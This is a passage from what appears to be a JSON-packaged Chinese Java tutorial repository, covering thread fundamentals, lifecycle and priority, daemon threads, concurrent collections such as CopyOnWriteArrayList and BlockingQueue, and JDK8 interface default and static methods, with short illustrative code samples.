threadInfo.getThreadName());\n\t\t}\n\t}\n}\n```\n\n上述程序输出如下（输出内容可能不同，不用太纠结下面每个线程的作用，只用知道 main 线程执行main方法即可）：\n\n```\n[5] Attach Listener //添加事件\n[4] Signal Dispatcher // 分发处理给JVM信号的线程\n[3] Finalizer //调用对象finalize方法的线程\n[2] Reference Handler //清除reference线程\n[1] main //main线程,程序入口\n```\n\n从上面的输出内容可以看出：**一个 Java 程序的运行是 main 线程和多个其他线程同时运行**。\n\n### 1.3 从 JVM 角度说进程和线程之间的关系（重要） \t\n\n#### 1.3.1 图解进程和线程的关系\n\n下图是 Java 内存区域，通过下图我们从 JVM 的角度来说一下线程和进程之间的关系。如果你对  Java 内存区域(运行时数据区)这部分知识不太了解的话可以阅读一下我的这篇文章：[《可能是把Java内存区域讲的最清楚的一篇文章》](https://github.com/Snailclimb/JavaGuide/blob/master/Java相关/可能是把Java内存区域讲的最清楚的一篇文章.md)\n\n![](https://my-blog-to-use.oss-cn-beijing.aliyuncs.com/2019-3/JVM运行时数据区域.png)\n\n从上图可以看出：一个进程中可以有多个线程，多个线程共享进程的**堆**和**方法区**资源，但是每个线程有自己的**程序计数器**、**虚拟机栈** 和 **本地方法栈**。\n\n下面来思考这样一个问题：为什么**程序计数器**、**虚拟机栈**和**本地方法栈**是线程私有的呢？为什么堆和方法区是线程共享的呢？\n\n#### 1.3.2 程序计数器为什么是私有的?\n\n程序计数器主要有下面两个作用：\n\n1. 字节码解释器通过改变程序计数器来依次读取指令，从而实现代码的流程控制，如：顺序执行、选择、循环、异常处理。\n2. 在多线程的情况下，程序计数器用于记录当前线程执行的位置，从而当线程被切换回来的时候能够知道该线程上次运行到哪儿了。\n\n需要注意的是，如果执行的是native方法，那么程序计数器记录的是undefined地址，只有执行的是Java代码时程序计数器记录的才是下一条指令的地址。\n\n所以，程序计数器私有主要是为了**线程切换后能恢复到正确的执行位置**。\n\n#### 1.3.3 虚拟机栈和本地方法栈为什么是私有的?\n\n- **虚拟机栈：**每个 Java 方法在执行的同时会创建一个栈帧用于存储局部变量表、操作数栈、常量池引用等信息。从方法调用直至执行完成的过程，就对应着一个栈帧在 Java 虚拟机栈中入栈和出栈的过程。\n- **本地方法栈：**和虚拟机栈所发挥的作用非常相似，区别是： **虚拟机栈为虚拟机执行 Java 方法 （也就是字节码）服务，而本地方法栈则为虚拟机使用到的 Native 方法服务。** 在 HotSpot 虚拟机中和 Java 虚拟机栈合二为一。\n\n所以，为了**保证线程中的局部变量不被别的线程访问到**，虚拟机栈和本地方法栈是线程私有的。\n\n#### 1.3.4 一句话简单了解堆和方法区\n\n堆和方法区是所有线程共享的资源，其中堆是进程中最大的一块内存，主要用于存放新创建的对象(所有对象都在这里分配内存)，方法区主要用于存放已被加载的类信息、常量、静态变量、即时编译器编译后的代码等数据。\n\n## 二 多线程并发编程\n\n### 2.1 并发与并行\n\n- **并发：** 同一时间段，多个任务都在执行(单位时间内不一定同时执行)；\n- **并行：**单位时间内，多个任务同时执行。\n\n### 2.1 多线程并发编程详解\n\n单CPU时代多个任务共享一个CPU，某一特定时刻只能有一个任务被执行，CPU会分配时间片给当前要执行的任务。当一个任务占用CPU时，其他任务就会被挂起。当占用CPU的任务的时间片用完后，才会由 CPU 选择下一个需要执行的任务。所以说，在单核CPU时代，多线程编程没有太大意义，反而会因为线程间频繁的上下文切换而带来额外开销。\n\n但现在 CPU 一般都是多核，如果这个CPU是多核的话，那么进程中的不同线程可以使用不同核心，实现了真正意义上的并行运行。**那为什么我们不直接叫做多线程并行编程呢？**\n\n**这是因为多线程在实际开发使用中，线程的个数往往多于CPU的个数，所以一般都称多线程并发编程而不是多线程并行编程。`**\n\n### 2.2 为什么要多线程并发编程?\n\n- **从计算机底层来说：**线程可以比作是轻量级的进程，是程序执行的最小单位,线程间的切换和调度的成本远远小于进程。另外，多核 CPU 时代意味着多个线程可以同时运行，这减少了线程上下文切换的开销。\n\n- **从当代互联网发展趋势来说：**现在的系统动不动就要求百万级甚至千万级的并发量，而多线程并发编程正是开发高并发系统的基础，利用好多线程机制可以大大提高系统整体的并发能力以及性能。\n\n## 三 线程的创建与运行\n\n前两种实际上很少使用，一般都是用线程池的方式比较多一点。\n\n### 3.1 继承 Thread 类的方式\n\n\n```java\npublic class MyThread extends Thread {\n\t@Override\n\tpublic void run() {\n\t\tsuper.run();\n\t\tSystem.out.println(\"MyThread\");\n\t}\n}\n```\nRun.java\n\n```java\npublic class Run {\n\n\tpublic static void main(String[] args) {\n\t\tMyThread mythread = new MyThread();\n\t\tmythread.start();\n\t\tSystem.out.println(\"运行结束\");\n\t}\n\n}\n\n```\n运行结果：\n![结果](https://user-gold-cdn.xitu.io/2018/3/20/16243e80f22a2d54?w=161&h=54&f=jpeg&s=7380)\n\n从上面的运行结果可以看出：线程是一个子任务，CPU以不确定的方式，或者说是以随机的时间来调用线程中的run方法。\n\n### 3.2 实现Runnable接口的方式\n\n推荐实现Runnable接口方式开发多线程，因为Java单继承但是可以实现多个接口。\n\nMyRunnable.java\n\n```java\npublic class MyRunnable implements Runnable {\n\t@Override\n\tpublic void run() {\n\t\tSystem.out.println(\"MyRunnable\");\n\t}\n}\n```\n\nRun.java\n\n```java\npublic class Run {\n\n\tpublic static void main(String[] args) {\n\t\tRunnable runnable=new MyRunnable();\n\t\tThread thread=new Thread(runnable);\n\t\tthread.start();\n\t\tSystem.out.println(\"运行结束！\");\n\t}\n\n}\n```\n运行结果：\n![运行结果](https://user-gold-cdn.xitu.io/2018/3/20/16243f4373c6141a?w=137&h=46&f=jpeg&s=7316)\n\n### 3.3 使用线程池的方式\n\n使用线程池的方式也是最推荐的一种方式，另外，《阿里巴巴Java开发手册》在第一章第六节并发处理这一部分也强调到“线程资源必须通过线程池提供，不允许在应用中自行显示创建线程”。这里就不给大家演示代码了，线程池这一节会详细介绍到这部分内容。\n\n## 四 线程的生命周期和状态\n\nJava 线程在运行的生命周期中的指定时刻只可能处于下面6种不同状态的其中一个状态（图源《Java 并发编程艺术》4.1.4节）。\n\n![Java线程的状态](https://my-blog-to-use.oss-cn-beijing.aliyuncs.com/19-1-29/Java%E7%BA%BF%E7%A8%8B%E7%9A%84%E7%8A%B6%E6%80%81.png)\n\n线程在生命周期中并不是固定处于某一个状态而是随着代码的执行在不同状态之间切换。Java 线程状态变迁如下图所示（图源《Java 并发编程艺术》4.1.4节）：\n\n![Java线程状态变迁](https://my-blog-to-use.oss-cn-beijing.aliyuncs.com/19-1-29/Java%20%E7%BA%BF%E7%A8%8B%E7%8A%B6%E6%80%81%E5%8F%98%E8%BF%81.png)\n\n\n\n由上图可以看出：\n\n线程创建之后它将处于 **NEW（新建）** 状态，调用 `start()` 方法后开始运行，线程这时候处于 **READY（可运行）** 状态。可运行状态的线程获得了 cpu 时间片（timeslice）后就处于 **RUNNING（运行）** 状态。\n\n> 操作系统隐藏 Java虚拟机（JVM）中的 RUNNABLE 和 RUNNING 状态，它只能看到 RUNNABLE 状态（图源：[HowToDoInJava](https://howtodoinjava.com/)：[Java Thread Life Cycle and Thread States](https://howtodoinjava.com/java/multi-threading/java-thread-life-cycle-and-thread-states/)），所以 Java 系统一般将这两个状态统称为 **RUNNABLE（运行中）** 状态 。\n\n![RUNNABLE-VS-RUNNING](https://my-blog-to-use.oss-cn-beijing.aliyuncs.com/2019-3/RUNNABLE-VS-RUNNING.png)\n\n当线程执行 `wait()`方法之后，线程进入 **WAITING（等待）**状态。进入等待状态的线程需要依靠其他线程的通知才能够返回到运行状态，而 **TIME_WAITING(超时等待)** 状态相当于在等待状态的基础上增加了超时限制，比如通过 `sleep（long millis）`方法或 `wait（long millis）`方法可以将 Java 线程置于 TIMED WAITING 状态。当超时时间到达后 Java 线程将会返回到 RUNNABLE 状态。当线程调用同步方法时，在没有获取到锁的情况下，线程将会进入到 **BLOCKED（阻塞）** 状态。线程在执行 Runnable 的` run() `方法之后将会进入到 **TERMINATED（终止）** 状态。\n\n## 五 线程优先级\n\n**理论上**来说系统会根据优先级来决定首先使哪个线程进入运行状态。当 CPU 比较闲的时候，设置线程优先级几乎不会有任何作用，而且很多操作系统压根不会不会理会你设置的线程优先级，所以不要让业务过度依赖于线程的优先级。\n\n另外，**线程优先级具有继承特性**比如A线程启动B线程，则B线程的优先级和A是一样的。**线程优先级还具有随机性** 也就是说线程优先级高的不一定每一次都先执行完。\n\nThread类中包含的成员变量代表了线程的某些优先级。如**Thread.MIN_PRIORITY（常数1）**，**Thread.NORM_PRIORITY（常数5）**,**Thread.MAX_PRIORITY（常数10）**。其中每个线程的优先级都在**1** 到**10** 之间，在默认情况下优先级都是**Thread.NORM_PRIORITY（常数5）**。\n\n**一般情况下，不会对线程设定优先级别，更不会让某些业务严重地依赖线程的优先级别，比如权重，借助优先级设定某个任务的权重，这种方式是不可取的，一般定义线程的时候使用默认的优先级就好了。**\n\n**相关方法：**\n\n```java\npublic final void setPriority(int newPriority) //为线程设定优先级\npublic final int getPriority() //获取线程的优先级\n```\n**设置线程优先级方法源码：**\n\n```java\n    public final void setPriority(int newPriority) {\n        ThreadGroup g;\n        checkAccess();\n        //线程游戏优先级不能小于1也不能大于10，否则会抛出异常\n        if (newPriority > MAX_PRIORITY || newPriority < MIN_PRIORITY) {\n            throw new IllegalArgumentException();\n        }\n        //如果指定的线程优先级大于该线程所在线程组的最大优先级，那么该线程的优先级将设为线程组的最大优先级\n        if((g = getThreadGroup()) != null) {\n            if (newPriority > g.getMaxPriority()) {\n                newPriority = g.getMaxPriority();\n            }\n            setPriority0(priority = newPriority);\n        }\n    }\n\n```\n\n## 六 守护线程和用户线程\n\n**守护线程和用户线程简介:**\n\n- **用户(User)线程：**运行在前台，执行具体的任务，如程序的主线程、连接网络的子线程等都是用户线程\n- **守护(Daemon)线程：**运行在后台，为其他前台线程服务.也可以说守护线程是JVM中非守护线程的 **“佣人”**。一旦所有用户线程都结束运行，守护线程会随JVM一起结束工作.\n\nmain 函数所在的线程就是一个用户线程啊，main函数启动的同时在JVM内部同时还启动了好多守护线程，比如垃圾回收线程。\n\n**那么守护线程和用户线程有什么区别呢？**\n\n比较明显的区别之一是用户线程结束，JVM退出，不管这个时候有没有守护线程运行。而守护线程不会影响 JVM 的退出。\n\n**注意事项：**\n\n1.  `setDaemon(true)`必须在`start（）`方法前执行，否则会抛出 `IllegalThreadStateException` 异常\n2.  在守护线程中产生的新线程也是守护线程\n3.  不是所有的任务都可以分配给守护线程来执行，比如读写操作或者计算逻辑\n4.  守护(Daemon)线程中不能依靠 finally 块的内容来确保执行关闭或清理资源的逻辑。因为我们上面也说过了一旦所有用户线程都结束运行，守护线程会随JVM一起结束工作，所以守护(Daemon)线程中的finally语句块可能无法被执行。\n\n\n\n## 参考\n\n- 《Java并发编程之美》\n- 《Java并发编程的艺术》\n- https://howtodoinjava.com/java/multi-threading/java-thread-life-cycle-and-thread-states/"
  },
  {
    "path": "docs/java/Multithread/并发容器总结.md",
    "content": "\n<!-- MarkdownTOC -->\n\n- [一 JDK 提供的并发容器总结](#一-jdk-提供的并发容器总结)\n- [二 ConcurrentHashMap](#二-concurrenthashmap)\n- [三 CopyOnWriteArrayList](#三-copyonwritearraylist)\n  - [3.1 CopyOnWriteArrayList 简介](#31-copyonwritearraylist-简介)\n  - [3.2 CopyOnWriteArrayList 是如何做到的？](#32-copyonwritearraylist-是如何做到的？)\n  - [3.3 CopyOnWriteArrayList 读取和写入源码简单分析](#33-copyonwritearraylist-读取和写入源码简单分析)\n    - [3.3.1 CopyOnWriteArrayList 读取操作的实现](#331-copyonwritearraylist-读取操作的实现)\n    - [3.3.2 CopyOnWriteArrayList 写入操作的实现](#332-copyonwritearraylist-写入操作的实现)\n- [四 ConcurrentLinkedQueue](#四-concurrentlinkedqueue)\n- [五 BlockingQueue](#五-blockingqueue)\n  - [5.1 BlockingQueue 简单介绍](#51-blockingqueue-简单介绍)\n  - [5.2 ArrayBlockingQueue](#52-arrayblockingqueue)\n  - [5.3 LinkedBlockingQueue](#53-linkedblockingqueue)\n  - [5.4 PriorityBlockingQueue](#54-priorityblockingqueue)\n- [六 ConcurrentSkipListMap](#六-concurrentskiplistmap)\n- [七 参考](#七-参考)\n\n<!-- /MarkdownTOC -->\n\n##  一 JDK 提供的并发容器总结\n\nJDK提供的这些容器大部分在 `java.util.concurrent` 包中。\n\n\n- **ConcurrentHashMap:** 线程安全的HashMap\n- **CopyOnWriteArrayList:** 线程安全的List，在读多写少的场合性能非常好，远远好于Vector.\n- **ConcurrentLinkedQueue:** 高效的并发队列，使用链表实现。可以看做一个线程安全的 LinkedList，这是一个非阻塞队列。\n- **BlockingQueue:** 这是一个接口，JDK内部通过链表、数组等方式实现了这个接口。表示阻塞队列，非常适合用于作为数据共享的通道。\n- **ConcurrentSkipListMap:** 跳表的实现。这是一个Map，使用跳表的数据结构进行快速查找。\n\n## 二 ConcurrentHashMap\n\n我们知道 HashMap 不是线程安全的，在并发场景下如果要保证一种可行的方式是使用 `Collections.synchronizedMap()` 方法来包装我们的 HashMap。但这是通过使用一个全局的锁来同步不同线程间的并发访问，因此会带来不可忽视的性能问题。\n\n所以就有了 HashMap 的线程安全版本—— ConcurrentHashMap 的诞生。在ConcurrentHashMap中，无论是读操作还是写操作都能保证很高的性能：在进行读操作时(几乎)不需要加锁，而在写操作时通过锁分段技术只对所操作的段加锁而不影响客户端对其它段的访问。\n\n关于 ConcurrentHashMap 相关问题，我在 [《这几道Java集合框架面试题几乎必问》](https://github.com/Snailclimb/JavaGuide/blob/master/docs/java/Java%E9%9B%86%E5%90%88%E6%A1%86%E6%9E%B6%E5%B8%B8%E8%A7%81%E9%9D%A2%E8%AF%95%E9%A2%98%E6%80%BB%E7%BB%93.md) 这篇文章中已经提到过。下面梳理一下关于 ConcurrentHashMap 比较重要的问题：\n\n- [ConcurrentHashMap 和 Hashtable 的区别](https://github.com/Snailclimb/JavaGuide/blob/master/docs/java/%E8%BF%99%E5%87%A0%E9%81%93Java%E9%9B%86%E5%90%88%E6%A1%86%E6%9E%B6%E9%9D%A2%E8%AF%95%E9%A2%98%E5%87%A0%E4%B9%8E%E5%BF%85%E9%97%AE.md#concurrenthashmap-%E5%92%8C-hashtable-%E7%9A%84%E5%8C%BA%E5%88%AB)\n- [ConcurrentHashMap线程安全的具体实现方式/底层具体实现](https://github.com/Snailclimb/JavaGuide/blob/master/docs/java/%E8%BF%99%E5%87%A0%E9%81%93Java%E9%9B%86%E5%90%88%E6%A1%86%E6%9E%B6%E9%9D%A2%E8%AF%95%E9%A2%98%E5%87%A0%E4%B9%8E%E5%BF%85%E9%97%AE.md#concurrenthashmap%E7%BA%BF%E7%A8%8B%E5%AE%89%E5%85%A8%E7%9A%84%E5%85%B7%E4%BD%93%E5%AE%9E%E7%8E%B0%E6%96%B9%E5%BC%8F%E5%BA%95%E5%B1%82%E5%85%B7%E4%BD%93%E5%AE%9E%E7%8E%B0)\n\n\n\n## 三 CopyOnWriteArrayList\n\n### 3.1 CopyOnWriteArrayList 简介\n\n```java\npublic class CopyOnWriteArrayList<E>\nextends Object\nimplements List<E>, RandomAccess, Cloneable, Serializable\n```\n\n在很多应用场景中，读操作可能会远远大于写操作。由于读操作根本不会修改原有的数据，因此对于每次读取都进行加锁其实是一种资源浪费。我们应该允许多个线程同时访问List的内部数据，毕竟读取操作是安全的。\n\n这和我们之前在多线程章节讲过 `ReentrantReadWriteLock` 读写锁的思想非常类似，也就是读读共享、写写互斥、读写互斥、写读互斥。JDK中提供了 `CopyOnWriteArrayList` 类比相比于在读写锁的思想又更进一步。为了将读取的性能发挥到极致，`CopyOnWriteArrayList` 读取是完全不用加锁的，并且更厉害的是：写入也不会阻塞读取操作。只有写入和写入之间需要进行同步等待。这样一来，读操作的性能就会大幅度提升。**那它是怎么做的呢？**\n\n### 3.2 CopyOnWriteArrayList 是如何做到的？\n\n `CopyOnWriteArrayList` 类的所有可变操作（add，set等等）都是通过创建底层数组的新副本来实现的。当 List 需要被修改的时候，我并不修改原有内容，而是对原有数据进行一次复制，将修改的内容写入副本。写完之后，再将修改完的副本替换原来的数据，这样就可以保证写操作不会影响读操作了。\n\n从 `CopyOnWriteArrayList` 的名字就能看出`CopyOnWriteArrayList` 是满足`CopyOnWrite` 的ArrayList，所谓`CopyOnWrite` 也就是说：在计算机，如果你想要对一块内存进行修改时，我们不在原有内存块中进行写操作，而是将内存拷贝一份，在新的内存中进行写操作，写完之后呢，就将指向原来内存指针指向新的内存，原来的内存就可以被回收掉了。\n\n### 3.3 CopyOnWriteArrayList 读取和写入源码简单分析\n\n#### 3.3.1 CopyOnWriteArrayList 读取操作的实现\n\n读取操作没有任何同步控制和锁操作，理由就是内部数组 array 不会发生修改，只会被另外一个 array 替换，因此可以保证数据安全。\n\n```java\n    /** The array, accessed only via getArray/setArray. */\n    private transient volatile Object[] array;\n    public E get(int index) {\n        return get(getArray(), index);\n    }\n    @SuppressWarnings(\"unchecked\")\n    private E get(Object[] a, int index) {\n        return (E) a[index];\n    }\n    final Object[] getArray() {\n        return array;\n    }\n\n```\n\n#### 3.3.2 CopyOnWriteArrayList 写入操作的实现\n\nCopyOnWriteArrayList 写入操作 add() 方法在添加集合的时候加了锁，保证了同步，避免了多线程写的时候会 copy 出多个副本出来。\n\n```java\n    /**\n     * Appends the specified element to the end of this list.\n     *\n     * @param e element to be appended to this list\n     * @return {@code true} (as specified by {@link Collection#add})\n     */\n    public boolean add(E e) {\n        final ReentrantLock lock = this.lock;\n        lock.lock();//加锁\n        try {\n            Object[] elements = getArray();\n            int len = elements.length;\n            Object[] newElements = Arrays.copyOf(elements, len + 1);//拷贝新数组\n            newElements[len] = e;\n            setArray(newElements);\n            return true;\n        } finally {\n            lock.unlock();//释放锁\n        }\n    }\n```\n\n## 四 ConcurrentLinkedQueue\n\nJava提供的线程安全的 Queue 可以分为**阻塞队列**和**非阻塞队列**，其中阻塞队列的典型例子是 BlockingQueue，非阻塞队列的典型例子是ConcurrentLinkedQueue，在实际应用中要根据实际需要选用阻塞队列或者非阻塞队列。 **阻塞队列可以通过加锁来实现，非阻塞队列可以通过 CAS 操作实现。**\n\n从名字可以看出，`ConcurrentLinkedQueue`这个队列使用链表作为其数据结构．ConcurrentLinkedQueue 应该算是在高并发环境中性能最好的队列了。它之所有能有很好的性能，是因为其内部复杂的实现。\n\nConcurrentLinkedQueue 内部代码我们就不分析了，大家知道ConcurrentLinkedQueue 主要使用 CAS 非阻塞算法来实现线程安全就好了。\n\nConcurrentLinkedQueue 适合在对性能要求相对较高，同时对队列的读写存在多个线程同时进行的场景，即如果对队列加锁的成本较高则适合使用无锁的ConcurrentLinkedQueue来替代。\n\n##  五 BlockingQueue\n\n### 5.1 BlockingQueue 简单介绍\n\n上面我们己经提到了 ConcurrentLinkedQueue 作为高性能的非阻塞队列。下面我们要讲到的是阻塞队列——BlockingQueue。阻塞队列（BlockingQueue）被广泛使用在“生产者-消费者”问题中，其原因是BlockingQueue提供了可阻塞的插入和移除的方法。当队列容器已满，生产者线程会被阻塞，直到队列未满；当队列容器为空时，消费者线程会被阻塞，直至队列非空时为止。\n\nBlockingQueue 是一个接口，继承自 Queue，所以其实现类也可以作为 Queue 的实现来使用，而 Queue 又继承自 Collection 接口。下面是 BlockingQueue 的相关实现类：\n\n![BlockingQueue 的实现类](http://my-blog-to-use.oss-cn-beijing.aliyuncs.com/18-12-9/51622268.jpg)\n\n**下面主要介绍一下:ArrayBlockingQueue、LinkedBlockingQueue、PriorityBlockingQueue，这三个 BlockingQueue 的实现类。**\n\n### 5.2 ArrayBlockingQueue\n\n**ArrayBlockingQueue** 是 BlockingQueue 接口的有界队列实现类，底层采用**数组**来实现。ArrayBlockingQueue一旦创建，容量不能改变。其并发控制采用可重入锁来控制，不管是插入操作还是读取操作，都需要获取到锁才能进行操作。当队列容量满时，尝试将元素放入队列将导致操作阻塞;尝试从一个空队列中取一个元素也会同样阻塞。\n\nArrayBlockingQueue 默认情况下不能保证线程访问队列的公平性，所谓公平性是指严格按照线程等待的绝对时间顺序，即最先等待的线程能够最先访问到 ArrayBlockingQueue。而非公平性则是指访问 ArrayBlockingQueue 的顺序不是遵守严格的时间顺序，有可能存在，当 ArrayBlockingQueue 可以被访问时，长时间阻塞的线程依然无法访问到 ArrayBlockingQueue。如果保证公平性，通常会降低吞吐量。如果需要获得公平性的 ArrayBlockingQueue，可采用如下代码：\n\n```java\nprivate static ArrayBlockingQueue<Integer> blockingQueue = new ArrayBlockingQueue<Integer>(10,true);\n```\n\n### 5.3 LinkedBlockingQueue\n\n**LinkedBlockingQueue** 底层基于**单向链表**实现的阻塞队列，可以当做无界队列也可以当做有界队列来使用，同样满足FIFO的特性，与ArrayBlockingQueue 相比起来具有更高的吞吐量，为了防止 LinkedBlockingQueue 容量迅速增，损耗大量内存。通常在创建LinkedBlockingQueue 对象时，会指定其大小，如果未指定，容量等于Integer.MAX_VALUE。\n\n**相关构造方法:**\n\n```java\n    /**\n     *某种意义上的无界队列\n     * Creates a {@code LinkedBlockingQueue} with a capacity of\n     * {@link Integer#MAX_VALUE}.\n     */\n    public LinkedBlockingQueue() {\n        this(Integer.MAX_VALUE);\n    }\n\n    /**\n     *有界队列\n     * Creates a {@code LinkedBlockingQueue} with the given (fixed) capacity.\n     *\n     * @param capacity the capacity of this queue\n     * @throws IllegalArgumentException if {@code capacity} is not greater\n     *         than zero\n     */\n    public LinkedBlockingQueue(int capacity) {\n        if (capacity <= 0) throw new IllegalArgumentException();\n        this.capacity = capacity;\n        last = head = new Node<E>(null);\n    }\n```\n\n### 5.4 PriorityBlockingQueue\n\n**PriorityBlockingQueue** 是一个支持优先级的无界阻塞队列。默认情况下元素采用自然顺序进行排序，也可以通过自定义类实现 `compareTo()` 方法来指定元素排序规则，或者初始化时通过构造器参数 `Comparator` 来指定排序规则。\n\nPriorityBlockingQueue 并发控制采用的是 **ReentrantLock**，队列为无界队列（ArrayBlockingQueue 是有界队列，LinkedBlockingQueue 也可以通过在构造函数中传入 capacity 指定队列最大的容量，但是 PriorityBlockingQueue 只能指定初始的队列大小，后面插入元素的时候，**如果空间不够的话会自动扩容**）。\n\n简单地说，它就是 PriorityQueue 的线程安全版本。不可以插入 null 值，同时，插入队列的对象必须是可比较大小的（comparable），否则报 ClassCastException 异常。它的插入操作 put 方法不会 block，因为它是无界队列（take 方法在队列为空的时候会阻塞）。\n\n**推荐文章：**\n\n《解读 Java 并发队列 BlockingQueue》\n\n[https://javadoop.com/post/java-concurrent-queue](https://javadoop.com/post/java-concurrent-queue)\n\n## 六 ConcurrentSkipListMap\n\n下面这部分内容参考了极客时间专栏[《数据结构与算法之美》](https://time.geekbang.org/column/intro/126?code=zl3GYeAsRI4rEJIBNu5B/km7LSZsPDlGWQEpAYw5Vu0=&utm_term=SPoster)以及《实战Java高并发程序设计》。\n\n**为了引出ConcurrentSkipListMap，先带着大家简单理解一下跳表。**\n\n对于一个单链表，即使链表是有序的，如果我们想要在其中查找某个数据，也只能从头到尾遍历链表，这样效率自然就会很低，跳表就不一样了。跳表是一种可以用来快速查找的数据结构，有点类似于平衡树。它们都可以对元素进行快速的查找。但一个重要的区别是：对平衡树的插入和删除往往很可能导致平衡树进行一次全局的调整。而对跳表的插入和删除只需要对整个数据结构的局部进行操作即可。这样带来的好处是：在高并发的情况下，你会需要一个全局锁来保证整个平衡树的线程安全。而对于跳表，你只需要部分锁即可。这样，在高并发环境下，你就可以拥有更好的性能。而就查询的性能而言，跳表的时间复杂度也是 **O(logn)** 所以在并发数据结构中，JDK 使用跳表来实现一个 Map。\n\n跳表的本质是同时维护了多个链表，并且链表是分层的，\n\n![2级索引跳表](http://my-blog-to-use.oss-cn-beijing.aliyuncs.com/18-12-9/93666217.jpg)\n\n最低层的链表维护了跳表内所有的元素，每上面一层链表都是下面一层的子集。\n\n跳表内的所有链表的元素都是排序的。查找时，可以从顶级链表开始找。一旦发现被查找的元素大于当前链表中的取值，就会转入下一层链表继续找。这也就是说在查找过程中，搜索是跳跃式的。如上图所示，在跳表中查找元素18。\n\n![在跳表中查找元素18](http://my-blog-to-use.oss-cn-beijing.aliyuncs.com/18-12-9/32005738.jpg)\n\n查找18 的时候原来需要遍历 18 次，现在只需要 7 次即可。针对链表长度比较大的时候，构建索引查找效率的提升就会非常明显。\n\n从上面很容易看出，**跳表是一种利用空间换时间的算法。**\n\n使用跳表实现Map 和使用哈希算法实现Map的另外一个不同之处是：哈希并不会保存元素的顺序，而跳表内所有的元素都是排序的。因此在对跳表进行遍历时，你会得到一个有序的结果。所以，如果你的应用需要有序性，那么跳表就是你不二的选择。JDK 中实现这一数据结构的类是ConcurrentSkipListMap。\n\n\n\n## 七 参考\n\n- 《实战Java高并发程序设计》\n- https://javadoop.com/post/java-concurrent-queue\n- https://juejin.im/post/5aeebd02518825672f19c546\n"
  },
  {
    "path": "docs/java/What's New in JDK8/JDK8接口规范-静态、默认方法.md",
    "content": "JDK8接口规范\n===\n在JDK8中引入了lambda表达式，出现了函数式接口的概念，为了在扩展接口时保持向前兼容性(比如泛型也是为了保持兼容性而失去了在一些别的语言泛型拥有的功能)，Java接口规范发生了一些改变。。\n---\n## 1.JDK8以前的接口规范\n- JDK8以前接口可以定义的变量和方法\n   - 所有变量(Field)不论是否<i>显式</i> 的声明为```public static final```，它实际上都是```public static final```的。\n   - 所有方法(Method)不论是否<i>显示</i> 的声明为```public abstract```，它实际上都是```public abstract```的。\n```java\npublic interface AInterfaceBeforeJDK8 {\n    int FIELD = 0;\n    void simpleMethod();\n}\n```\n以上接口信息反编译以后可以看到字节码信息里Filed是public static final的，而方法是public abstract的，即是你没有显示的去声明它。\n```java\n{\n    public static final int FIELD;\n    descriptor: I\n    flags: (0x0019) ACC_PUBLIC, ACC_STATIC, ACC_FINAL\n    ConstantValue: int 0\n\n  public abstract void simpleMethod();\n    descriptor: ()V\n    flags: (0x0401) ACC_PUBLIC, ACC_ABSTRACT\n}\n```\n## 2.JDK8之后的接口规范\n- JDK8之后接口可以定义的变量和方法\n  - 变量(Field)仍然必须是 ```java public static final```的\n  - 方法(Method)除了可以是public abstract之外，还可以是public static或者是default(相当于仅public修饰的实例方法)的。\n从以上改变不难看出，修改接口的规范主要是为了能在扩展接口时保持向前兼容。\n<br>下面是一个JDK8之后的接口例子\n```java\npublic interface AInterfaceInJDK8 {\n    int simpleFiled = 0;\n    static int staticField = 1;\n\n    public static void main(String[] args) {\n    }\n    static void staticMethod(){}\n\n    default void defaultMethod(){}\n\n    void simpleMethod() throws IOException;\n\n}\n```\n进行反编译(去除了一些没用信息)\n```java\n{\n  public static final int simpleFiled;\n    flags: (0x0019) ACC_PUBLIC, ACC_STATIC, ACC_FINAL\n\n  public static final int staticField;\n    flags: (0x0019) ACC_PUBLIC, ACC_STATIC, ACC_FINAL\n\n  public static void main(java.lang.String[]);\n    flags: (0x0009) ACC_PUBLIC, ACC_STATIC\n    \n  public static void staticMethod();\n    flags: (0x0009) ACC_PUBLIC, ACC_STATIC\n\n  public void defaultMethod();\n    flags: (0x0001) ACC_PUBLIC\n\n  public abstract void simpleMethod() throws java.io.IOException;\n    flags: (0x0401) ACC_PUBLIC, ACC_ABSTRACT\n    Exceptions:\n      throws java.io.IOException\n}\n```\n可以看到 default关键字修饰的方法是像实例方法一样定义的，所以我们来定义一个只有default的方法并且实现一下试一试。\n```java\ninterface Default {\n    default int defaultMethod() {\n        return 4396;\n    }\n}\n\npublic class DefaultMethod implements Default {\n    public static void main(String[] args) {\n        DefaultMethod defaultMethod = new DefaultMethod();\n        System.out.println(defaultMethod.defaultMethod());\n        //compile error : Non-static method 'defaultMethod()' cannot be referenced from a static context\n        //! DefaultMethod.defaultMethod();\n    }\n}\n```\n可以看到default方法确实像实例方法一样，必须有实例对象才能调用，并且子类在实现接口时，可以不用实现default方法，也可以覆盖该方法。\n这有点像子类继承父类实例方法。\n<br>\n接口静态方法就像是类静态方法，唯一的区别是**接口静态方法只能通过接口名调用，而类静态方法既可以通过类名调用也可以通过实例调用**\n```java\ninterface Static {\n    static int staticMethod() {\n        return 4396;\n    }\n}\n ... main(String...args)\n    //!compile error: Static method may be invoked on containing interface class only\n    //!aInstanceOfStatic.staticMethod();\n ...\n```\n另一个问题是多继承问题，大家知道Java中类是不支持多继承的，但是接口是多继承和多实现(implements后跟多个接口)的，\n那么如果一个接口继承另一个接口，两个接口都有同名的default方法会怎么样呢？答案是会像类继承一样覆写(@Override)，以下代码在IDE中可以顺利编译\n```java\ninterface Default {\n    default int defaultMethod() {\n        return 4396;\n    }\n}\ninterface Default2 extends Default {\n    @Override\n    default int defaultMethod() {\n        return 9527;\n    }\n}\npublic class DefaultMethod implements Default,Default2 {\n    public static void main(String[] args) {\n        DefaultMethod defaultMethod = new DefaultMethod();\n        System.out.println(defaultMethod.defaultMethod());\n    }\n}\n\n输出 : 9527\n```\n出现上面的情况时，会优先找继承树上近的方法，类似于“短路优先”。\n<br>\n那么如果一个类实现了两个没有继承关系的接口，且这两个接口有同名方法的话会怎么样呢？IDE会要求你重写这个冲突的方法，让你自己选择去执行哪个方法，因为IDE它\n还没智能到你不告诉它，它就知道你想执行哪个方法。可以通过```java 接口名.super```指针来访问接口中定义的实例(default)方法。\n```java\ninterface Default {\n    default int defaultMethod() {\n        return 4396;\n    }\n}\n\ninterface Default2 {\n    default int defaultMethod() {\n        return 9527;\n    }\n}\n//如果不重写\n//compile error : defaults.DefaultMethod inherits unrelated defaults for defaultMethod() from types defaults.Default and defaults.Default2\npublic class DefaultMethod implements Default,Default2 {\n@Override\n    public int defaultMethod() {\n        System.out.println(Default.super.defaultMethod());\n        System.out.println(Default2.super.defaultMethod());\n        return 996;\n    }\n    public static void main(String[] args) {\n        DefaultMethod 